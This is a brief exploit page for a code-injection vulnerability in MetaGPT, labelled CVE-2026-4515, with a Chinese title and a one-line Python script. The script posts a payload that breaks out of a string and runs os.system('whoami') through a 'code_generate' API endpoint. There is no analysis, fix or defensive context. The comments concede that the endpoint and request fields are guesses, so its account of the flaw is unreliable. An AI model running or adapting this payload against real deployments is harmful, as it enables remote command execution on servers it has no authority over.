CVE-2026-4515 MetaGPT代码注入漏洞

import requests import json # Target URL (Example, needs to be adjusted to the actual vulnerable endpoint) # The vulnerability is in metagpt/ext/aflow/scripts/operator.py -> code_generate target_url = "http://127.0.0.1:8080/api/code_generate" # Malicious payload to inject Python code # This payload attempts to execute 'whoami' command using os.system payload = "'; import os; os.system('whoami'); #" # Data structure usually expected by such APIs (adjust based on actual implementation) data = { "prompt": "Write a function", "code": payload # Injecting into the vulnerable parameter } headers = { "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, data=json.dumps(data), headers=headers) # Check if the attack was successful (based on response or side effects) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")